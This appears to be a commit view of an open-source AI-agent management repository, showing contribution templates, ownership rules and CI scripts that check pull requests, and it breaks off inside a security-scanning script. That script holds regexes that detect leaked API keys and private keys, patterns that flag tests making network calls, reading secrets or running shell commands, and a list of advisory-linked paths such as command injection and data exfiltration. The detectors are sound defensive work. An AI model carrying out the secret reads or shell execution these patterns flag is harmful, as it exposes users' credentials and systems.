fix: fail closed on unusable Codex auth during sandbox auth merge

When reusing a Codex sandbox, the workspace-restore step now performs
an auth-merge check before adopting the sandbox's auth.json. The merge
fails closed when:

- host or sandbox Codex auth is unusable (missing token or account)
- the subscription payload shapes differ between host and sandbox
- subscription account identities do not match

Additional hardening: node absence on PATH during the embedded decision
script now exits non-zero instead of silently falling through. Co-change
comments link parseAuth (the embedded script) to hasUsableAuthPayload
(codex-home.ts) so a future auth-format change cannot silently diverge
between the two implementations.

Co-Authored-By: Paperclip <noreply@paperclip.ing>
This commit is contained in:
Harold KimandPaperclip committed 2026-07-09 10:08:57 +00:00
commit 98df214917
3422 files changed
+1614966

No files matched your search

+18
View File
@@ -0,0 +1,18 @@
# Replace @cryppadotta if a different maintainer or team should own release infrastructure.
.github/** @cryppadotta @devinfoley @nickyleach
scripts/release*.sh @cryppadotta @devinfoley @nickyleach
scripts/release-*.mjs @cryppadotta @devinfoley @nickyleach
scripts/create-github-release.sh @cryppadotta @devinfoley @nickyleach
scripts/rollback-latest.sh @cryppadotta @devinfoley @nickyleach
doc/RELEASING.md @cryppadotta @devinfoley @nickyleach
doc/PUBLISHING.md @cryppadotta @devinfoley @nickyleach
doc/RELEASE-AUTOMATION-SETUP.md @cryppadotta @devinfoley @nickyleach
skills/** @cryppadotta @devinfoley @nickyleach
# Package files — dependency changes require review
# package.json matches recursively at all depths (covers root + all workspaces)
package.json @cryppadotta @devinfoley @nickyleach
pnpm-lock.yaml @cryppadotta @devinfoley @nickyleach
pnpm-workspace.yaml @cryppadotta @devinfoley @nickyleach
.npmrc @cryppadotta @devinfoley @nickyleach
@@ -0,0 +1,42 @@
name: New agent adapter
description: Request or propose support for a new AI agent or model provider
labels: [adapter]
body:
- type: markdown
attributes:
value: |
New agent adapters are welcome without prior discussion. If you plan to implement, prefer extending Paperclip via the [plugin system](https://github.com/paperclipai/paperclip/blob/master/doc/plugins/PLUGIN_SPEC.md) when possible.
- type: input
id: agent
attributes:
label: Agent or provider
description: Name of the agent, model, or CLI tool.
placeholder: e.g. Gemini CLI, LM Studio, Mistral
validations:
required: true
- type: textarea
id: why
attributes:
label: Why this adapter is useful
description: What use cases does this unlock? Who would benefit?
validations:
required: true
- type: textarea
id: how-invoked
attributes:
label: How the agent is invoked
description: CLI command, API endpoint, SDK — whatever is relevant. Link docs if available.
validations:
required: true
- type: checkboxes
id: willing
attributes:
label: Are you willing to implement it?
options:
- label: Yes, I plan to open a PR
- label: No, requesting for someone else to pick up
- type: textarea
id: context
attributes:
label: Additional context
description: Links, examples from existing adapters, configuration quirks, etc.
+174
View File
@@ -0,0 +1,174 @@
name: Bug report
description: Something is broken or behaving unexpectedly
labels: [bug]
body:
- type: markdown
attributes:
value: |
Thanks for taking the time to file a bug. Please fill out the sections below so we can reproduce and triage quickly.
> **⚠️ Privacy notice:** Several fields below accept logs, config, or transcript output that may contain **personally identifiable information (PII)** — usernames in file paths, API keys, tokens, company names, agent output, or task content. Before pasting:
> 1. Review for sensitive data
> 2. Redact usernames, paths, API keys, tokens (e.g. replace `/Users/yourname/` with `/Users/REDACTED/`)
> 3. For heavy output, consider running it through an anonymizer such as **[presidio-anonymizer](https://microsoft.github.io/presidio/)** (open-source, local-only) or **[scrub](https://github.com/dssg/scrub)**
- type: checkboxes
id: preflight
attributes:
label: Pre-submission checklist
description: Please confirm each of these before filing.
options:
- label: I have searched existing open and closed issues and this is not a duplicate.
required: true
- label: I am on the latest released version of Paperclip (or can reproduce on `master`).
required: true
- label: I have confirmed the error originates in Paperclip itself — not in my agent adapter, API provider, or local configuration.
required: true
- type: textarea
id: what-happened
attributes:
label: What happened?
description: A clear description of the bug. Be specific about which Paperclip command, endpoint, or UI action was involved.
placeholder: When I do X, Y happens instead of Z.
validations:
required: true
- type: textarea
id: expected
attributes:
label: Expected behavior
description: What should have happened instead.
validations:
required: true
- type: textarea
id: repro
attributes:
label: Steps to reproduce
description: Numbered steps a maintainer can follow to reproduce the bug. Start from a clean install where possible.
value: |
1.
2.
3.
validations:
required: true
- type: input
id: paperclip-version
attributes:
label: Paperclip version or commit
description: Output of `paperclipai --version` or the commit SHA you are running.
placeholder: e.g. 0.42.0 or 78dc3625ac
validations:
required: true
- type: dropdown
id: deployment
attributes:
label: Deployment mode
options:
- Local dev (pnpm dev)
- Docker
- Self-hosted server
- Other
validations:
required: true
- type: dropdown
id: install_method
attributes:
label: Installation method
options:
- npm / pnpm global install
- Docker
- Built from source (pnpm dev / pnpm build)
- Other
validations:
required: false
- type: checkboxes
id: adapters
attributes:
label: Agent adapter(s) involved
description: Select all that apply. If unsure, leave unchecked and describe in additional context.
options:
- label: Claude Code
- label: Codex
- label: Cursor
- label: Droid
- label: Hermes
- label: Custom / external plugin adapter
- label: Not adapter-specific (core bug)
- type: dropdown
id: database
attributes:
label: Database mode
options:
- Embedded PGlite (default — `DATABASE_URL` unset)
- External Postgres
- Not database-related
validations:
required: false
- type: dropdown
id: access_context
attributes:
label: Access context
description: Whose credentials were being used when the bug occurred?
options:
- Board (human operator)
- Agent (bearer API key via `agent_api_keys`)
- Both
- Unclear / not applicable
validations:
required: false
- type: input
id: node-version
attributes:
label: Node.js version
description: Output of `node --version`.
placeholder: e.g. v20.18.0
- type: input
id: os
attributes:
label: Operating system
placeholder: e.g. macOS 14.5 (Apple Silicon), Ubuntu 22.04
- type: textarea
id: logs
attributes:
label: Relevant logs or output
description: |
Paste error messages, stack traces, or API responses. Will be rendered as a code block.
**⚠️ PII warning:** Server logs often contain file paths with your username (e.g. `/Users/yourname/...`). Redact before pasting.
render: shell
- type: textarea
id: config
attributes:
label: Relevant config (if applicable)
description: |
If the bug is config-related, paste the relevant snippet.
**⚠️ PII warning:** Paperclip config may contain API keys, encrypted-secrets paths, company names, or tokens. **Remove all secrets before pasting.**
render: json
- type: textarea
id: context
attributes:
label: Additional context
description: Screenshots, related issues, or anything else that might help.
- type: checkboxes
id: pii_confirmed
attributes:
label: Privacy checklist
description: Please confirm you've reviewed your submission for sensitive data.
options:
- label: I have reviewed all pasted output for PII (usernames, file paths, API keys, tokens, company names) and redacted where necessary.
required: true
+8
View File
@@ -0,0 +1,8 @@
blank_issues_enabled: false
contact_links:
- name: Discord (#dev)
url: https://discord.gg/paperclipai
about: Design discussions, questions, and feature coordination before opening a PR
- name: Roadmap
url: https://github.com/paperclipai/paperclip/blob/master/ROADMAP.md
about: Check the roadmap before requesting a feature
+44
View File
@@ -0,0 +1,44 @@
name: Documentation issue
description: Report incorrect, missing, or unclear documentation
labels: [documentation]
body:
- type: markdown
attributes:
value: |
Help improve the docs. Point us at what's wrong, missing, or confusing.
- type: dropdown
id: type
attributes:
label: Issue type
options:
- Incorrect information
- Missing documentation
- Unclear or confusing
- Outdated (no longer matches behavior)
- Typo or formatting
validations:
required: true
- type: input
id: location
attributes:
label: Where is the issue?
description: File path, URL, or section name.
placeholder: "e.g. README.md#installation, doc/DEVELOPING.md, docs/plugins.md"
validations:
required: true
- type: textarea
id: description
attributes:
label: What's wrong?
description: Describe the documentation issue.
validations:
required: true
- type: textarea
id: suggestion
attributes:
label: Suggested fix
description: If you know what the correct information should be, include it here.
+92
View File
@@ -0,0 +1,92 @@
name: Enhancement proposal
description: Propose an improvement to an existing Paperclip feature
labels: [enhancement]
body:
- type: markdown
attributes:
value: |
An enhancement improves something that already exists — better output, broader edge-case handling, clearer UX, performance. It does not add new commands, endpoints, or concepts. If you are proposing something new, use the **Feature request** template instead.
- type: checkboxes
id: preflight
attributes:
label: Pre-submission checklist
description: Please confirm each of these before filing.
options:
- label: I have confirmed this improves existing behavior — it does not add a new command, endpoint, or concept.
required: true
- label: I have searched existing open and closed issues and this has not already been proposed.
required: true
- type: input
id: what_is_improved
attributes:
label: What existing behavior does this improve?
description: Name the specific command, endpoint, UI view, or behavior being enhanced.
placeholder: "e.g. /api/companies response shape, board task list sorting, adapter startup log output"
validations:
required: true
- type: dropdown
id: subsystem
attributes:
label: Subsystem affected
options:
- server/ — REST API & orchestration services
- ui/ — React + Vite board UI
- packages/db — Drizzle schema, migrations
- packages/shared — types, constants, validators, API paths
- packages/adapters — agent adapter implementations
- packages/plugins — plugin system
- Cross-cutting (multiple of the above)
- Unsure
validations:
required: true
- type: textarea
id: current_behavior
attributes:
label: Current behavior
description: Describe exactly how it works today. Include example output or a screenshot if helpful.
placeholder: |
Currently, when I call ..., the response is ...
validations:
required: true
- type: textarea
id: proposed_behavior
attributes:
label: Proposed behavior
description: Describe exactly how it should work after the enhancement. Include example output.
placeholder: |
After this enhancement, the response would be ...
validations:
required: true
- type: textarea
id: reason
attributes:
label: Reason and benefit
description: |
Why is the current behavior a problem, and what is the concrete benefit of the proposed behavior?
Vague answers like "it would be better" or "more user-friendly" are not enough.
validations:
required: true
- type: textarea
id: breaking_changes
attributes:
label: Breaking changes
description: |
Does this change any behavior, response shape, or output format that users or agents might rely on?
If yes, describe exactly what changes and how backward compatibility is maintained.
Write "None" only if you are certain.
validations:
required: true
- type: textarea
id: additional_context
attributes:
label: Additional context
description: Screenshots, related issues, or anything else.
@@ -0,0 +1,53 @@
name: Feature request
description: Propose a new capability or improvement
labels: [enhancement]
body:
- type: markdown
attributes:
value: |
Feature work on core Paperclip is coordinated against `ROADMAP.md` and Discord `#dev`. Please skim those before filing — see [CONTRIBUTING.md](https://github.com/paperclipai/paperclip/blob/master/CONTRIBUTING.md) for the full guidance.
- type: dropdown
id: subsystem
attributes:
label: Subsystem affected
description: Which part of the codebase would this primarily live in?
options:
- server/ — REST API & orchestration services
- ui/ — React + Vite board UI
- packages/db — Drizzle schema, migrations
- packages/shared — types, constants, validators, API paths
- packages/adapters — agent adapter implementations
- packages/plugins — plugin system
- Cross-cutting (multiple of the above)
- Unsure
validations:
required: true
- type: textarea
id: problem
attributes:
label: Problem or motivation
description: What are you trying to do that is currently difficult or impossible?
validations:
required: true
- type: textarea
id: solution
attributes:
label: Proposed solution
description: Describe the feature you'd like. How should it work?
validations:
required: true
- type: textarea
id: alternatives
attributes:
label: Alternatives considered
description: Other approaches you thought about and why you ruled them out.
- type: textarea
id: roadmap
attributes:
label: Roadmap alignment
description: Does this relate to anything in `ROADMAP.md`? Link the relevant section if so.
- type: textarea
id: context
attributes:
label: Additional context
description: Mockups, examples from other tools, related issues, etc.
+98
View File
@@ -0,0 +1,98 @@
## Thinking Path
<!--
Required. Trace your reasoning from the top of the project down to this
specific change. Start with what Paperclip is, then narrow through the
subsystem, the problem, and why this PR exists. Use blockquote style.
Aim for 5–8 steps. See CONTRIBUTING.md for full examples.
-->
> - Paperclip is the open source app people use to manage AI agents for work
> - [Which subsystem or capability is involved]
> - [What problem or gap exists]
> - [Why it needs to be addressed]
> - This pull request ...
> - The benefit is ...
## Linked Issues or Issue Description
<!--
Required. Pick ONE of the following two paths:
(A) Issue exists — tag each linked issue with `Fixes: #123`, `Closes #123`,
or `Refs #123`. Include duplicates and closely related issues too.
Only reference PUBLIC GitHub issues/PRs here. Do NOT paste internal,
instance-local Paperclip references — ticket ids like PAPA-123 / PAP-224,
/PAP/issues/... or agent://... links, or localhost/tailnet URLs. Other
contributors cannot open them. See CONTRIBUTING.md → "No Internal Issue
References".
(B) No issue exists — describe the underlying problem here, following the
relevant issue template so reviewers get the same fields:
• Bug: .github/ISSUE_TEMPLATE/bug_report.yml
• Feature: .github/ISSUE_TEMPLATE/feature_request.yml
• Adapter: .github/ISSUE_TEMPLATE/adapter_request.yml
See CONTRIBUTING.md → "Link Issues or Describe Them In-PR".
-->
-
## What Changed
<!-- Bullet list of concrete changes. One bullet per logical unit. -->
-
## Verification
<!--
How can a reviewer confirm this works? Include test commands, manual
steps, or both.
-->
-
## Risks
<!--
What could go wrong? Mention migration safety, breaking changes,
behavioral shifts, or "Low risk" if genuinely minor.
-->
-
> For core feature work, check [`ROADMAP.md`](ROADMAP.md) first and discuss it in `#dev` before opening the PR. Feature PRs that overlap with planned core work may need to be redirected — check the roadmap first. See `CONTRIBUTING.md`.
## Model Used
<!--
Required. Specify which AI model was used to produce or assist with
this change. Be as descriptive as possible — include:
• Provider and model name (e.g., Claude, GPT, Gemini, Codex)
• Exact model ID or version (e.g., claude-opus-4-6, gpt-4-turbo-2024-04-09)
• Context window size if relevant (e.g., 1M context)
• Reasoning/thinking mode if applicable (e.g., extended thinking, chain-of-thought)
• Any other relevant capability details (e.g., tool use, code execution)
If no AI model was used, write "None — human-authored".
-->
-
## Checklist
- [ ] I have included a thinking path that traces from project context to this change
- [ ] I have specified the model used (with version and capability details)
- [ ] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work
- [ ] I have searched GitHub for duplicate or related PRs and linked them above
- [ ] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template
- [ ] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs)
- [ ] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details
- [ ] I have run tests locally and they pass
- [ ] I have added or updated tests where applicable
- [ ] I have updated relevant documentation to reflect my changes
- [ ] I have considered and documented any risks above
- [ ] All Paperclip CI gates are green
- [ ] Greptile is 5/5 with no open P2s, recommendations, or follow-ups
- [ ] I will address all Greptile and reviewer comments before requesting merge
+23
View File
@@ -0,0 +1,23 @@
version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 10
labels:
- "dependencies"
ignore:
# Ignore major version bumps — review those manually
- dependency-name: "*"
update-types: ["version-update:semver-major"]
- package-ecosystem: github-actions
directory: "/"
schedule:
interval: weekly
day: monday
time: "06:00"
open-pull-requests-limit: 5
+71
View File
@@ -0,0 +1,71 @@
#!/usr/bin/env node
/**
* check-pr-dedup-search.mjs
* Checks that the PR body affirms the author searched for similar PRs before
* opening this one. Looks for a checked checklist line matching the dedup
* affirmation in the PR template. Respects the same skip prefixes as the
* linked-issue gate.
*
* Export: checkDedupSearch(prBody, prTitle) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
const SKIP_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'test', 'revert'];
// Match a markdown checkbox line whose label mentions searching for similar
// PRs. Examples that should match (checked):
// - [x] I searched for similar open/closed PRs and confirmed this is not a duplicate
// - [X] I searched the GitHub PR list (open + recently closed) for similar PRs ...
// * [x] Searched for similar PRs — not a duplicate
const DEDUP_CHECKBOX_RE =
/^\s*[-*]\s*\[\s*([ xX])\s*\][^\n]*search(?:ed)?[^\n]*(?:similar|duplicate|prior)[^\n]*\bprs?\b/im;
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
export function checkDedupSearch(body, prTitle = '') {
const prefix = parsePrefix(prTitle);
if (prefix && SKIP_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
if (!body || !body.trim()) {
return {
passed: false,
failures: ['PR body is empty — please fill out the PR template'],
};
}
const match = body.match(DEDUP_CHECKBOX_RE);
if (!match) {
return {
passed: false,
failures: [
'Add the dedup-search checkbox to your PR description and check it once ' +
'you have searched the GitHub PR list for similar PRs. See the PR template ' +
'at .github/PULL_REQUEST_TEMPLATE.md and CONTRIBUTING.md → "Before You Start: Search First".',
],
};
}
const checked = match[1] === 'x' || match[1] === 'X';
return {
passed: checked,
failures: checked ? [] : [
'Please confirm you searched the GitHub PR list for similar PRs by ' +
'checking the dedup-search checkbox in your PR description ' +
'(`- [x] I searched ...`). See CONTRIBUTING.md → "Before You Start: Search First".',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const title = process.env.PR_TITLE ?? '';
const result = checkDedupSearch(body, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+89
View File
@@ -0,0 +1,89 @@
#!/usr/bin/env node
/**
* check-pr-dependencies.mjs
* Detects new npm packages added in this PR vs. the base branch.
* Never fails (informational only) — outputs { passed: true, informational: string[] }
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef) {
if (baseRef) {
return baseRef;
}
const pr = await fetchFromGitHub(`/repos/${repo}/pulls/${prNumber}`, token);
if (pr.base?.ref) {
return pr.base.ref;
}
const repository = await fetchFromGitHub(`/repos/${repo}`, token);
if (repository.default_branch) {
return repository.default_branch;
}
throw new Error(`Unable to resolve a base branch for ${repo}#${prNumber}.`);
}
export async function checkDependencies(files, token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const pkgFiles = files.filter(
f => f.filename.endsWith('package.json') &&
!f.filename.includes('node_modules') &&
f.status !== 'removed'
);
if (pkgFiles.length === 0) return { passed: true, informational: [] };
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const newPackages = new Set();
for (const file of pkgFiles) {
try {
const [baseRes, prRes] = await Promise.all([
fetchFromGitHub(buildContentsPath(repo, file.filename, resolvedBaseRef), token),
fetchFromGitHub(buildContentsPath(repo, file.filename, `refs/pull/${prNumber}/head`), token),
]);
const basePkg = JSON.parse(Buffer.from(baseRes.content, 'base64').toString());
const prPkg = JSON.parse(Buffer.from(prRes.content, 'base64').toString());
const baseDeps = new Set([
...Object.keys(basePkg.dependencies ?? {}),
...Object.keys(basePkg.devDependencies ?? {}),
...Object.keys(basePkg.peerDependencies ?? {}),
]);
for (const dep of [
...Object.keys(prPkg.dependencies ?? {}),
...Object.keys(prPkg.devDependencies ?? {}),
...Object.keys(prPkg.peerDependencies ?? {}),
]) {
if (!baseDeps.has(dep)) newPackages.add(dep);
}
} catch {
// File may not exist on base — skip
}
}
if (newPackages.size === 0) return { passed: true, informational: [] };
const pkgList = [...newPackages].map(p => `\`${p}\``).join(', ');
return {
passed: true,
informational: [
`📦 New dependencies added: ${pkgList}. Review may take longer and new dependencies ` +
`are less likely to be accepted — please check if existing deps cover this need.`,
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const { GH_TOKEN, GH_REPO, PR_NUMBER, PR_FILES, PR_BASE_REF } = process.env;
const files = JSON.parse(PR_FILES ?? '[]');
const result = await checkDependencies(files, GH_TOKEN, GH_REPO, PR_NUMBER, PR_BASE_REF);
console.log(JSON.stringify(result));
}
+123
View File
@@ -0,0 +1,123 @@
#!/usr/bin/env node
/**
* check-pr-linked-issue.mjs
* Checks that a PR body either links an existing issue/PR or inlines an
* issue-template-shaped description. Respects conventional commit prefixes —
* skips check for docs/chore/build/ci/style/test/revert prefixed PRs.
*
* Exports:
* checkLinkedIssue(prBody, prTitle) → { passed, failures }
* hasInlineIssueDescription(prBody) → boolean
*/
import { fileURLToPath } from 'node:url';
const ISSUE_PATTERNS = [
/(?:fixes|closes|resolves|refs)\s+#\d+/i,
/(?:^|[\s(])https:\/\/github\.com\/paperclipai\/paperclip\/issues\/\d+(?=$|[\s),:;!?]|[.](?![\w-]))/i,
/(?<!\w)#\d+/,
];
// Prefixes where neither a linked issue nor an inline description is required
const SKIP_ISSUE_PREFIXES = ['docs', 'chore', 'build', 'ci', 'style', 'test', 'revert'];
// Minimum number of template fields the PR body must match to count as an
// inline issue description.
const INLINE_DESCRIPTION_MIN_FIELDS = 3;
// Per-template field labels. Each field is an array of accepted variants; the
// field counts as "present" if any variant appears as a markdown heading
// (`## Label`) or as a bolded/plain label on its own line (`**Label**` /
// `Label:`). Matching is case-insensitive.
const TEMPLATE_FIELDS = {
bug: [
['What happened', 'What happened?'],
['Expected behavior', 'Expected behaviour'],
['Steps to reproduce', 'Reproduction steps', 'Repro steps'],
['Paperclip version', 'Paperclip version or commit', 'Version or commit', 'Version/commit'],
['Deployment mode'],
],
feature: [
['Problem or motivation', 'Problem', 'Motivation'],
['Proposed solution', 'Solution'],
['Alternatives considered', 'Alternatives'],
['Roadmap alignment', 'Roadmap'],
],
adapter: [
['Agent or provider', 'Agent', 'Provider', 'Adapter'],
["Why this adapter is useful", "Why it's useful", 'Why useful', 'Use case'],
['How the agent is invoked', 'How it is invoked', "How it's invoked", 'Invocation'],
],
};
function escapeRegExp(s) {
return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}
function countMatchedFields(body, fieldSet) {
let matched = 0;
for (const variants of fieldSet) {
const hasMatch = variants.some(label => {
const esc = escapeRegExp(label);
// Accept markdown headings or bolded/plain labels on their own line.
// Examples: "## What happened?", "**Expected behavior**", "Problem:".
const pattern = new RegExp(
`^\\s*(?:#{1,6}\\s+|\\*\\*\\s*|__\\s*)?${esc}(?:\\s*[:?])?(?:\\s*\\*\\*|\\s*__)?\\s*$`,
'im'
);
return pattern.test(body);
});
if (hasMatch) matched += 1;
}
return matched;
}
export function hasInlineIssueDescription(body) {
if (!body || !body.trim()) return false;
for (const fieldSet of Object.values(TEMPLATE_FIELDS)) {
if (countMatchedFields(body, fieldSet) >= INLINE_DESCRIPTION_MIN_FIELDS) {
return true;
}
}
return false;
}
function parsePrefix(title) {
if (!title) return null;
const match = title.match(/^([a-z]+)(?:\([^)]*\))?:/);
return match ? match[1].toLowerCase() : null;
}
export function checkLinkedIssue(body, prTitle = '') {
const prefix = parsePrefix(prTitle);
if (prefix && SKIP_ISSUE_PREFIXES.includes(prefix)) {
return { passed: true, failures: [] };
}
if (!body || !body.trim()) {
return { passed: false, failures: ['PR body is empty — please fill out the PR template'] };
}
const linked = ISSUE_PATTERNS.some(p => p.test(body));
const inlined = hasInlineIssueDescription(body);
const passed = linked || inlined;
return {
passed,
failures: passed ? [] : [
'No linked issue or inline issue description found — either tag an existing issue ' +
'with `Fixes #NNN` / `Closes #NNN` / `Refs #NNN`, or describe the underlying issue ' +
'inline in the PR body following one of our issue templates ' +
'(https://github.com/paperclipai/paperclip/tree/master/.github/ISSUE_TEMPLATE). ' +
'See CONTRIBUTING.md → "Link Issues or Describe Them In-PR".',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const body = process.env.PR_BODY ?? '';
const title = process.env.PR_TITLE ?? '';
const result = checkLinkedIssue(body, title);
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+31
View File
@@ -0,0 +1,31 @@
#!/usr/bin/env node
/**
* check-pr-lockfile.mjs
* Checks that pnpm-lock.yaml was not manually edited.
* Export: checkLockfile(files, prAuthor, prBranch) → { passed, failures }
*/
import { fileURLToPath } from 'node:url';
export function checkLockfile(files, prAuthor, prBranch) {
const lockfileChanged = files.some(f => f.filename === 'pnpm-lock.yaml');
if (!lockfileChanged) return { passed: true, failures: [] };
const isRefreshBot =
prAuthor === 'github-actions[bot]' && prBranch === 'chore/refresh-lockfile';
return {
passed: isRefreshBot,
failures: isRefreshBot ? [] : [
'You have changes to `pnpm-lock.yaml` — `pr.yml` will hard-fail this PR with a confusing message about lockfile edits. ' +
'To fix: run `pnpm install` locally, exclude the lockfile from your commit, push again. ' +
'The lockfile is regenerated automatically by the refresh bot on a schedule.',
],
};
}
if (process.argv[1] === fileURLToPath(import.meta.url)) {
const files = JSON.parse(process.env.PR_FILES ?? '[]');
const result = checkLockfile(files, process.env.PR_AUTHOR ?? '', process.env.PR_BRANCH ?? '');
console.log(JSON.stringify(result));
process.exit(result.passed ? 0 : 1);
}
+393
View File
@@ -0,0 +1,393 @@
#!/usr/bin/env node
/**
* check-pr-security.mjs
* Runs 6 security checks against a PR diff. Never posts public comments.
* Creates a draft security advisory in the repo if any check fires.
*
* Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR
* Exit: always 0 — security flags are silent, never block the PR visibly.
*/
import { fileURLToPath } from 'node:url';
import { ghFetch } from './get-bot-token.mjs';
import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs';
import { resolveBaseRef } from './check-pr-dependencies.mjs';
// ── Pure check functions (exported for testing) ───────────────────────────────
const SECRET_PATTERNS = [
{ name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ },
{ name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ },
{ name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ },
{ name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ },
{ name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i },
];
export function scanSecrets(files) {
const flags = [];
for (const file of files) {
if (!file.patch) continue;
const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++'));
for (const line of added) {
for (const { name, re } of SECRET_PATTERNS) {
if (re.test(line)) {
flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) });
}
}
}
}
return flags;
}
const CI_BUILD_SCRIPTS = [
'scripts/release.sh',
'scripts/check-docker-deps-stage.mjs',
'scripts/check-release-package-bootstrap.mjs',
'scripts/release-package-map.mjs',
'scripts/docker-onboard-smoke.sh',
];
export function scanCITampering(files) {
return files
.filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed')
.map(f => ({ check: 'ci-tampering', file: f.filename }));
}
export function scanBuildScripts(files) {
return files
.filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed')
.map(f => ({ check: 'build-script-change', file: f.filename }));
}
export function scanSupplyChain(files) {
const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml');
if (!lockfile?.patch) return [];
const added = new Set();
const removed = new Set();
for (const line of lockfile.patch.split('\n')) {
const entry = parseLockfilePackageDiffEntry(line);
if (!entry) continue;
if (entry.sign === '+') added.add(entry.packageName);
if (entry.sign === '-') removed.add(entry.packageName);
}
const netNew = [...added].filter(p => !removed.has(p));
return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : [];
}
function parseLockfilePackageDiffEntry(line) {
const match = line.match(/^([+-])\s*(.+?)\s*$/);
if (!match) return null;
let [, sign, rawEntry] = match;
if (!rawEntry.endsWith(':')) return null;
rawEntry = rawEntry.slice(0, -1).trim();
if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) {
rawEntry = rawEntry.slice(1, -1);
}
rawEntry = rawEntry.replace(/\(.*$/, '').trim();
const versionSep = rawEntry.lastIndexOf('@');
if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null;
const packageName = rawEntry.slice(0, versionSep);
if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null;
return { sign, packageName };
}
const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//;
const SUSPICIOUS_PATTERNS = [
{ name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ },
{ name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ },
{ name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ },
{ name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// },
];
export function scanTestPatterns(files) {
const flags = [];
for (const file of files) {
if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue;
for (const { name, re } of SUSPICIOUS_PATTERNS) {
if (re.test(file.patch)) {
flags.push({ check: 'suspicious-test', file: file.filename, pattern: name });
}
}
}
return flags;
}
const SENSITIVE_PATHS = [
// Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes)
'packages/adapters/codex-local/',
// Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand
'server/src/services/workspace-realization.ts',
'server/src/routes/execution-workspaces.ts',
'server/src/routes/workspace-command-authz.ts',
// Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys
'server/src/routes/agents.ts',
// Advisory 4: Approval decision attribution spoofing via decidedByUserId
'server/src/routes/approvals.ts',
// Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform)
'ui/src/components/MarkdownBody.tsx',
// Advisory 7: Unauthenticated access to authenticated-mode endpoints
'server/src/routes/authz.ts',
// Advisory 8: Unauthenticated RCE via import authorization bypass
'server/src/routes/companies.ts',
// Advisory 9: Malicious skills able to exfiltrate / destroy user data
'server/src/routes/company-skills.ts',
// Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath
'server/src/services/agent-instructions.ts',
];
export function scanSensitivePaths(files) {
return files
.filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p)))
.map(f => ({
check: 'sensitive-path',
file: f.filename,
advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)),
}));
}
function buildContentsPath(repo, filename, ref) {
return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`;
}
export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) {
const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef);
const stale = [];
await Promise.all(SENSITIVE_PATHS.map(async (path) => {
try {
await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token);
} catch (err) {
// 404 means the file/directory no longer exists at this path
if (String(err.message).includes('404')) stale.push(path);
// Other errors (network, rate limit) — re-throw so we don't silently miss them
else throw err;
}
}));
return stale;
}
// ── Advisory creation ─────────────────────────────────────────────────────────
const SEVERITY_MAP = {
'supply-chain': 'critical',
'sensitive-path': 'critical',
'secret-scan': 'high',
'ci-tampering': 'high',
